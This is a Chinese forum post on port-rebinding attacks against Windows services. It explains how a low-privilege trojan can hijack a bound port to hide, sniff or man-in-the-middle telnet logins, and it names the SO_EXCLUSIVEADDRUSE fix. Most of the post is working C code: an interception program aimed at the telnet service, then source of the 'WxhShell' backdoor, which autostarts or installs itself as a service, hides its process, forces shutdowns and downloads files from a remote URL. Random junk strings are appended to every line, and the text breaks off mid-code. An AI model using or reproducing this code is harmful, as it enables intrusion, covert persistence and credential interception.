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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \'+{X(]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1qj%a%R  
>zg8xA1zL  
  saddr.sin_family = AF_INET; &]6K]sWJK{  
Kn#xY3W6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J(0=~Z[  
a^c ,=X3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N~5WA3xd  
:F>L;mp  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 s.;KVy,=Bu  
G^rh*cb K  
  这意味着什么?意味着可以进行如下的攻击: l~4e2xoT  
/;nO<X:XV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N~}v:rK>g  
m0\"C-Bk  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n5k^v $'  
}gi1?a59  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "gN*J)!x  
p (xD/E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _jrA?pY  
\kV7NA  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 uP{+?#a_-\  
P}+|`>L  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xUo)_P\_  
,rFLpQl  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 vg:J#M:  
.l( r8qY#  
  #include b6!Q!:GO&  
  #include $sc8)d\B  
  #include y:|.m@ j1  
  #include    ?Y0$X>nm  
  DWORD WINAPI ClientThread(LPVOID lpParam);   av; (b3Lq  
  int main() M,\|V3s  
  { )/WA)fWkT  
  WORD wVersionRequested; Ec*--]j*c  
  DWORD ret; $qlqW y-s  
  WSADATA wsaData; p=-B~:  
  BOOL val;  _WDBG  
  SOCKADDR_IN saddr; 0J:U\S  
  SOCKADDR_IN scaddr; m{lRFKx>s  
  int err; h"BhTx7E}  
  SOCKET s; &Qq/Xi,bZ  
  SOCKET sc; VJl &Bq+  
  int caddsize; /2_B$  
  HANDLE mt; $: 4mOl  
  DWORD tid;   =>:% n  
  wVersionRequested = MAKEWORD( 2, 2 ); &FJU%tFA  
  err = WSAStartup( wVersionRequested, &wsaData ); }GN kB  
  if ( err != 0 ) { R5NRCI  
  printf("error!WSAStartup failed!\n"); 7<R6T9g  
  return -1; C*{15!d:G  
  } ##`;Eh0a  
  saddr.sin_family = AF_INET; vN0L( B  
   a(x.{}uG,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }uvKE|umj  
XU;{28P  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4lY&=_K[)  
  saddr.sin_port = htons(23); 0l(E!d8&'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uD ?I>7  
  { p9&gEW  
  printf("error!socket failed!\n"); 3)C6OF>7  
  return -1; OP|.I._I  
  } xyS2_Q  
  val = TRUE; o]|oAN9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 lrmt)BLoh  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) VRd:2uDS  
  { 2w x[D  
  printf("error!setsockopt failed!\n"); ~b>nCP8q  
  return -1; %qNj{<&  
  } 5&n988g C8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; AF*ni~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Lt;.Nw  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~4=]%XYz  
1F3QI|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) M5T=Fj86  
  { U9@t?j_#X{  
  ret=GetLastError(); Lem\UD$D`  
  printf("error!bind failed!\n"); 5S|}:~7T  
  return -1; (b`4&sQ<  
  } |i} +t  
  listen(s,2); + +T "+p  
  while(1) q#Yg0w~  
  { >%n8W>^^4  
  caddsize = sizeof(scaddr); 33{;[/4  
  //接受连接请求 qXP1Q3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); HC9vc,Fp  
  if(sc!=INVALID_SOCKET) LM"W)S  
  { k Z+q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); o7c%\v[  
  if(mt==NULL) 8`AcS|k  
  { 9&[) (On74  
  printf("Thread Creat Failed!\n"); fR]p+\#8u*  
  break; ~>N`<S   
  } mc0sdb,c$  
  } 3ZW/$KP/  
  CloseHandle(mt); tf$PaA  
  } 12:h49AP  
  closesocket(s); [0%yJH  
  WSACleanup(); NSMjr_  
  return 0; R (tiIo  
  }   :c~9>GCE&  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2_oK 5*j  
  { Zzw}sZ?8  
  SOCKET ss = (SOCKET)lpParam; 5(iSOsb  
  SOCKET sc; +X* F<6mZ  
  unsigned char buf[4096]; ' D)1ka.  
  SOCKADDR_IN saddr; ; d, JN  
  long num; KA|&Q<<{@  
  DWORD val; 27Kc -rcB  
  DWORD ret; |MOn0 *  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Xmf  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $n=W2WJ6f  
  saddr.sin_family = AF_INET; <O,'5+zG%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ++Rdv0~  
  saddr.sin_port = htons(23); M&|sR+$^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S4l)TtY  
  { ?VMi!-POE  
  printf("error!socket failed!\n"); G zJ9N`  
  return -1; {+@ms$z  
  } q5:0&:m$4$  
  val = 100; wo7N7R5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8~&F/C*  
  { 6pM"h5hA  
  ret = GetLastError(); lF; ziF  
  return -1; Z #.GI  
  } W;3 R;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1?D8|<  
  { ;x!,g5q"q  
  ret = GetLastError(); Z-4K?;g'k  
  return -1; u4Y6B ]Q  
  } )^jQkfL  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~=`f]IL  
  { [ E$$nNs  
  printf("error!socket connect failed!\n"); Qq`3S>  
  closesocket(sc); NDB*BmG  
  closesocket(ss); S KB@  
  return -1; 8eOl@}bV  
  } 'sm[CNzS  
  while(1) cOzg/~\1  
  { *fxep08B  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q*HAIw[<y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lEO?kn.:z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S2koXg(  
  num = recv(ss,buf,4096,0); vbr~<JT=  
  if(num>0)  'P@=/  
  send(sc,buf,num,0); ucQezmie  
  else if(num==0) K:}h\ In  
  break; (A7T}znG  
  num = recv(sc,buf,4096,0); M*g2VyZ  
  if(num>0) $x;tSJ)m~  
  send(ss,buf,num,0); i:l80 GK  
  else if(num==0) httls>:xB|  
  break; C!$Xv&"r  
  } S[-.tvI;Q  
  closesocket(ss); QT`fix{  
  closesocket(sc); pu\b`3C(  
  return 0 ; #D!$~ h&i  
  } ?~F]@2)5w  
2"T8^r|U  
?,WUJH?^  
========================================================== &FL%H;Kfx  
::p-9F  
下边附上一个代码,,WXhSHELL iP~sft6  
+<)tql*  
========================================================== Tx y]"_  
er(8}]X8Q  
#include "stdafx.h" CMC?R,d  
i FC"!23f  
#include <stdio.h> =^Bq WC2~  
#include <string.h> Zr\2BOcc.l  
#include <windows.h> >=4sPF)  
#include <winsock2.h> NY~ dM\  
#include <winsvc.h> w0#% AK  
#include <urlmon.h> V[#6yMU@  
\ua9thOG  
#pragma comment (lib, "Ws2_32.lib") l)}<#Ri  
#pragma comment (lib, "urlmon.lib") /DLr(  
4qqF v?O[r  
#define MAX_USER   100 // 最大客户端连接数 Sv.KI{;v$  
#define BUF_SOCK   200 // sock buffer y' 2<qj  
#define KEY_BUFF   255 // 输入 buffer cge-'/8w%  
vad|Rpl  
#define REBOOT     0   // 重启 Zn?8\  
#define SHUTDOWN   1   // 关机 }phz7N9  
OZ eiH X!  
#define DEF_PORT   5000 // 监听端口 8r2XGR  
, yTN$K%M  
#define REG_LEN     16   // 注册表键长度 {;U}:Dx  
#define SVC_LEN     80   // NT服务名长度 w+Ad$4Pf"  
D*|( p6v1&  
// 从dll定义API -s{R/6 :  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jjxIS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RI?NB6U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #N; $  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cB{%u '  
%rFP#L  
// wxhshell配置信息 4DvdE t  
struct WSCFG { .8-PB*vb  
  int ws_port;         // 监听端口 )8:n}w  
  char ws_passstr[REG_LEN]; // 口令 K3Huu!Tr  
  int ws_autoins;       // 安装标记, 1=yes 0=no [0K=I64 z  
  char ws_regname[REG_LEN]; // 注册表键名 7}gA0fP9  
  char ws_svcname[REG_LEN]; // 服务名 Q?W r7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,Yo: &>As  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {PL,VY)Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BeAk 21xb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SO7(K5H,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r Z pbu>S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C=8H)Ef,l  
cvxIp#FbW  
}; QT_Srw@  
L+_8QK<  
// default Wxhshell configuration ^n t~-%  
struct WSCFG wscfg={DEF_PORT, C2NzP& FD  
    "xuhuanlingzhe", {>S4 #^@}  
    1, SzRL}}I  
    "Wxhshell", 2%bhW,?I  
    "Wxhshell", : g&>D#{  
            "WxhShell Service", '=$TyiU  
    "Wrsky Windows CmdShell Service", ~Hs=z$  
    "Please Input Your Password: ", M\I_{Q?_  
  1, fH&zR#T7U4  
  "http://www.wrsky.com/wxhshell.exe", 'wa g |-  
  "Wxhshell.exe" ubD#I{~J  
    }; %@>YNPD`E  
ACgt" M.3F  
// 消息定义模块 $\+"qs)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Tu==49  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JW-|<CJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E{<?l 7t  
char *msg_ws_ext="\n\rExit."; bH_I7G&m  
char *msg_ws_end="\n\rQuit."; fTTm$,f5N  
char *msg_ws_boot="\n\rReboot..."; FWIih5 3`  
char *msg_ws_poff="\n\rShutdown..."; [;<<4k(nL  
char *msg_ws_down="\n\rSave to "; wI*Y{J  
@ozm;  
char *msg_ws_err="\n\rErr!"; q Z#!CPHS  
char *msg_ws_ok="\n\rOK!"; :sFo  
qv.n99?]  
char ExeFile[MAX_PATH]; 0"4J"q]&  
int nUser = 0; `nKJR'QC  
HANDLE handles[MAX_USER]; >;m{{nj  
int OsIsNt; (:JjQ`i  
)q^(T1  
SERVICE_STATUS       serviceStatus; 0Qt~K#mr/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iW'_R{)T  
3zbXAR*  
// 函数声明 v C^>p5F  
int Install(void); 9g96 d-  
int Uninstall(void); ci;&CHa  
int DownloadFile(char *sURL, SOCKET wsh); -7&?@M,u  
int Boot(int flag); Ny]lvgu9X  
void HideProc(void); r-*l1([eW  
int GetOsVer(void); Bf/ |{@  
int Wxhshell(SOCKET wsl); gUspGsfr  
void TalkWithClient(void *cs); nVNs][  
int CmdShell(SOCKET sock); @Zj& `/  
int StartFromService(void); HXyFj  
int StartWxhshell(LPSTR lpCmdLine); D]jkR} t  
gbJG`zC>U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]/a g*F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,?I(/jI  
("b*? : B  
// 数据结构和表定义 %Or2iuO%-,  
SERVICE_TABLE_ENTRY DispatchTable[] = _nP)uU$  
{ 3\]~!;dI  
{wscfg.ws_svcname, NTServiceMain}, FQ1arUOFW,  
{NULL, NULL} L(;.n>/  
}; .3(;9};  
]uAS+shQ&  
// 自我安装 (NPxab8e*  
int Install(void) @FU~1u3d  
{ CPVmF$A-  
  char svExeFile[MAX_PATH]; #sS9vv7i  
  HKEY key; /;7ID41  
  strcpy(svExeFile,ExeFile); ]?M)NRk%S  
.5 ]{M\aA  
// 如果是win9x系统,修改注册表设为自启动 n?}5!  
if(!OsIsNt) { jK e.gA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _%;M9Sg3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u|T%Xy=LU  
  RegCloseKey(key); Fk aXA.JE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v:?o3 S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YlrB@mE0n$  
  RegCloseKey(key); ]r!QmWw~V  
  return 0; /-><k,mL?  
    } q P'[&h5Y  
  } Rh[Ibm56  
} MJA~jjy4  
else { z$66\/V']  
=D}4X1l  
// 如果是NT以上系统,安装为系统服务 .8:+MW/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M.S s: ttj  
if (schSCManager!=0) wW^Zb  
{ -IbbPuRq  
  SC_HANDLE schService = CreateService k},>^qE  
  ( y)tYSTJK  
  schSCManager, I.-v?1>,  
  wscfg.ws_svcname, 9N^+IZ@l  
  wscfg.ws_svcdisp, :SK<2<8h  
  SERVICE_ALL_ACCESS, BD4`eiu"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <$Ztik1  
  SERVICE_AUTO_START, &lq^dFP&Su  
  SERVICE_ERROR_NORMAL, + LS3T^  
  svExeFile, p0Z:Wkz]  
  NULL, #>XeR>T  
  NULL, |UYED%dC  
  NULL, %2}C'MqS  
  NULL, EDtCNqBS~2  
  NULL # 3.\j"b  
  ); z(rK^RT  
  if (schService!=0) rpSr^slr  
  { l^ Rm0t_  
  CloseServiceHandle(schService); m9woredS,  
  CloseServiceHandle(schSCManager); >gnF]<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qfa}3k8et  
  strcat(svExeFile,wscfg.ws_svcname); W"|mpxp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8?kP*tmcZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x^X$M$o,l  
  RegCloseKey(key); mbGcDG[HQ  
  return 0; g#|oi f9o  
    } obj!I7  
  } dHq#  
  CloseServiceHandle(schSCManager); Ox|TMSb^  
} _0.pvQ  
} >(OYK}ZN  
K?[)E3  
return 1; ^&-a/'D$,  
} (_ U^  
dqxd3,Z  
// 自我卸载 [g`,AmR\!  
int Uninstall(void) %<AS?Ry  
{ _[F@1NJ  
  HKEY key; Qm; BUG]  
S+iP^*L,c  
if(!OsIsNt) { $o"g73`3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SOs,)  
  RegDeleteValue(key,wscfg.ws_regname); rd">JEK;;  
  RegCloseKey(key); /K@$#x_{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .yX>.>"T|  
  RegDeleteValue(key,wscfg.ws_regname); |AC6sfA+  
  RegCloseKey(key); rFfy#e  
  return 0; D'n L  
  } &wb9_? ir-  
} !)nD xM`p  
} [Y$V\h=V  
else { d/lffNS=  
aHC%19UN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9T?64t<Ju  
if (schSCManager!=0) 5uttv:@=  
{ 'bPk'pj9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V_f`0\[x  
  if (schService!=0) =hGJAU  
  { '#<> "|  
  if(DeleteService(schService)!=0) { m!:.>y  
  CloseServiceHandle(schService); -bm,:Iy!  
  CloseServiceHandle(schSCManager); v8~YR'T0`V  
  return 0; y?Onb 3%  
  } 4'm q_o#4W  
  CloseServiceHandle(schService); hiN/S|JN8y  
  } ,VWGq@o%  
  CloseServiceHandle(schSCManager); #%8 w  
} %Hwbw],kl8  
} A="fj  
q#'VJA:A5&  
return 1; p[-{]!  
} k}U JVH21k  
N+J>7_k   
// 从指定url下载文件 HCazwX  
int DownloadFile(char *sURL, SOCKET wsh) nE7JLtbH  
{ SOj`Y|6^:  
  HRESULT hr; X4'kZ'Sy<  
char seps[]= "/"; OXCQfT@\  
char *token; r0{]5JZt/  
char *file; yl/a:Q  
char myURL[MAX_PATH]; 'hF@><sqk  
char myFILE[MAX_PATH]; |xeE3,8  
#w*"qn#2Uz  
strcpy(myURL,sURL); 4.'JLArw  
  token=strtok(myURL,seps); GS4_jvD-  
  while(token!=NULL) C_Gzv'C"L  
  { e9:P9Di(b  
    file=token; ;UpJ=?W  
  token=strtok(NULL,seps); :Eo8v$W\RB  
  } />F.Nsujy  
Hk9U&j$  
GetCurrentDirectory(MAX_PATH,myFILE); T>F9Hs  W  
strcat(myFILE, "\\"); /AR]dcL@76  
strcat(myFILE, file);  D%gGRA  
  send(wsh,myFILE,strlen(myFILE),0); OpQ8\[X+  
send(wsh,"...",3,0); KuXkI;63J>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H`el#tt_  
  if(hr==S_OK) NnOI:X {  
return 0; gc,Ps  
else L {qJ-ln:  
return 1; H;y}-=J+  
!.-.#<<_a  
} )8'jxiGs  
4| f}F  
// 系统电源模块 kc Y,vl  
int Boot(int flag) PU Cx]5  
{ ~K` 1  
  HANDLE hToken; bjzx!OCpV  
  TOKEN_PRIVILEGES tkp; Bm} iU~(Z`  
R&Ci/  
  if(OsIsNt) { .[(P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TVeJ6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q% E C  
    tkp.PrivilegeCount = 1; u*2JUI*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~!] m6/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y`^o7'Z2^P  
if(flag==REBOOT) { .CS v|:'1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g`3H(PVg  
  return 0; &h(g$-l?[  
} $"fzBM?5  
else { ~6HDW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e8q4O|I_  
  return 0; >3P9 i ;W  
} Noz&noq  
  } }NwN2xTB  
  else { " @)lH  
if(flag==REBOOT) { ? d5h9}B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L$hc,  
  return 0; R@n5AN(  
} rJV?) =Z  
else { s0lYj@E'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .eY`Ri<3t  
  return 0; I4~^TrznRa  
} u>o<tw%Y  
} zt?H~0$LB  
#HG&[Ywi  
return 1; DqlK.  
} 2LK]Q/WG,+  
]3+``vL  
// win9x进程隐藏模块 X+at%L=  
void HideProc(void) '=#5(O%pp  
{ O9e.=l  
Abf1"#YImy  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >[Rz <yv  
  if ( hKernel != NULL ) VDa|U9N  
  { gn.Ol/6D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (I~\,[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ! TDD^  
    FreeLibrary(hKernel); KZ  )Ys  
  } i~8DSshA  
rKp1%S1  
return; &CUC{t$VHX  
} t'aSF{%  
Z"D W 2k  
// 获取操作系统版本 Azn:_4O  
int GetOsVer(void) -|[~sj-p  
{ ?Pnx ~m{%*  
  OSVERSIONINFO winfo; QnU0"_-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f3t. T=S  
  GetVersionEx(&winfo); B1+ZFQo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qHJ'1~?q  
  return 1; <r;o6>+  
  else }4vjKSV  
  return 0; =GTD"*vwr  
} _[JkJwPTx  
LzE/g)>  
// 客户端句柄模块 n ,1tD  
int Wxhshell(SOCKET wsl) 6(.H3bu  
{ 1J'pB;.]s  
  SOCKET wsh; k/bque  
  struct sockaddr_in client; 6w!e?B2/%  
  DWORD myID; L=m:/qQL  
a2X h>{  
  while(nUser<MAX_USER) zAI|Jv @  
{ b^Z$hnh]S  
  int nSize=sizeof(client); u G[!w!e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P&\X`ZUA  
  if(wsh==INVALID_SOCKET) return 1; tN}c0'H  
lM+ xU;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >2Ca5C  
if(handles[nUser]==0) s|gp  
  closesocket(wsh); gIBpOPr^d  
else kO+s+ 55  
  nUser++; %YCd%lAe,  
  } VF= Z`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CO'ar,  
-5xCQJ[  
  return 0; gn`zy9PU  
} ls]H6z*q  
C$K+=jT  
// 关闭 socket G * @@K  
void CloseIt(SOCKET wsh) B-dlm8gX  
{ ?[|hGR2L  
closesocket(wsh); `#U ]iwW!  
nUser--; DM'qNgB7  
ExitThread(0); 5%& ]  
} H!. ZH(asY  
3KT_AJ4}  
// 客户端请求句柄 ^]7,1dH}M  
void TalkWithClient(void *cs) x;mJvfX  
{ ]?&H^"=  
_NT[ ~M_Q  
  SOCKET wsh=(SOCKET)cs; ~lk@6{`l|1  
  char pwd[SVC_LEN]; 48k 7/w\  
  char cmd[KEY_BUFF]; Uz $ @(C  
char chr[1]; RJ*F>2  
int i,j; f@x_#ov  
:o l6%Z's  
  while (nUser < MAX_USER) { )Oe`s(O@[I  
N33AcV!*8  
if(wscfg.ws_passstr) { 6?!I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X(b1/lzA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V4EM5 Z\k  
  //ZeroMemory(pwd,KEY_BUFF); Gql`>~  
      i=0; tIp{},bQ^  
  while(i<SVC_LEN) { <N-=fad]  
QXB|!'  
  // 设置超时 [9HYO  
  fd_set FdRead; 117c,yM0  
  struct timeval TimeOut; 8H_l[/  
  FD_ZERO(&FdRead); 0# l#,Y6#I  
  FD_SET(wsh,&FdRead); J[6VBM.Y  
  TimeOut.tv_sec=8; Ju4.@  
  TimeOut.tv_usec=0; hk.yR1Y|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )^";BVY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kXMP=j8  
>fg4x+0%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tO`?{?W7  
  pwd=chr[0]; i7(~>6@|  
  if(chr[0]==0xd || chr[0]==0xa) { ,S0UY):(A  
  pwd=0; Vq U|kv  
  break; *.3y2m,bZ  
  } 7O9n!aJ  
  i++;  ;b|  
    } '{CWanTPi  
`{<JC{yc?  
  // 如果是非法用户,关闭 socket [n!x&f8Xh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m\?\6W k  
} MISE C[/  
]\`w1'*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *73AAA5LKa  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BtID;^D z  
M2L0c?  
while(1) { +nzTxpcP@K  
!%V*UR9  
  ZeroMemory(cmd,KEY_BUFF); 1xIFvXru  
T$ IUKR  
      // 自动支持客户端 telnet标准   ~ttKI4  
  j=0; @C07k^j=U  
  while(j<KEY_BUFF) { ",QPb3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  Zsgi{  
  cmd[j]=chr[0]; #?Wo <]i  
  if(chr[0]==0xa || chr[0]==0xd) { 1EuK, :x  
  cmd[j]=0; EzUPah  
  break; (s ;zRb!4L  
  } 9':/Sab:7v  
  j++; oAaf)?8  
    } ^9s"FdB]24  
4/f[`].#W  
  // 下载文件 Z7oaQ\fR  
  if(strstr(cmd,"http://")) { jP7w6sk E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wM0E%6 P  
  if(DownloadFile(cmd,wsh)) &#Wkww&Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bqp&2zg)@  
  else w0X$rl1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); > R#9\/s  
  } i j!*CTG  
  else { 7G2vYKC'  
38"cbHE3  
    switch(cmd[0]) { n{3| E3  
  L*v93;|s  
  // 帮助 9[Y*k^.!  
  case '?': { O[L\T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Nv{eE<<6  
    break; Xa)7`bp<  
  } {)@ j77P  
  // 安装 T*8_FR<  
  case 'i': {  J(^ >?d'  
    if(Install()) 69rwX"^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F46O!xb%  
    else \DaLHC~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {vjq y&?y  
    break; \3M1.Q4$Gr  
    } D?%e"*>  
  // 卸载 M{G$Pk8[  
  case 'r': { 6z PV'~q  
    if(Uninstall()) K/~Y!?:J r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C_C$5[~-:  
    else 9X.gg$P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C5cFw/',  
    break; 6S)$3Is  
    } `TOX1cmw  
  // 显示 wxhshell 所在路径 NPP3 (3C  
  case 'p': { +H[Q~P8'[  
    char svExeFile[MAX_PATH]; H8( C>w-'  
    strcpy(svExeFile,"\n\r"); 1ZKz3)K  
      strcat(svExeFile,ExeFile); S7Qen6lm  
        send(wsh,svExeFile,strlen(svExeFile),0); 6OMb`A@/2  
    break; ]yw_n^@  
    } `9:v*KuM#R  
  // 重启 ^971<B(v  
  case 'b': {  KzIt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UQSX<6"  
    if(Boot(REBOOT)) $,g 3*A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BSjbnnW}"  
    else { 8Er[M  
    closesocket(wsh); 7G?Ia%u  
    ExitThread(0); y{:]sHyG  
    } <nf=SRZ  
    break; 9DmSs=A  
    } E*h0#m|)  
  // 关机 bU:V%B?=]  
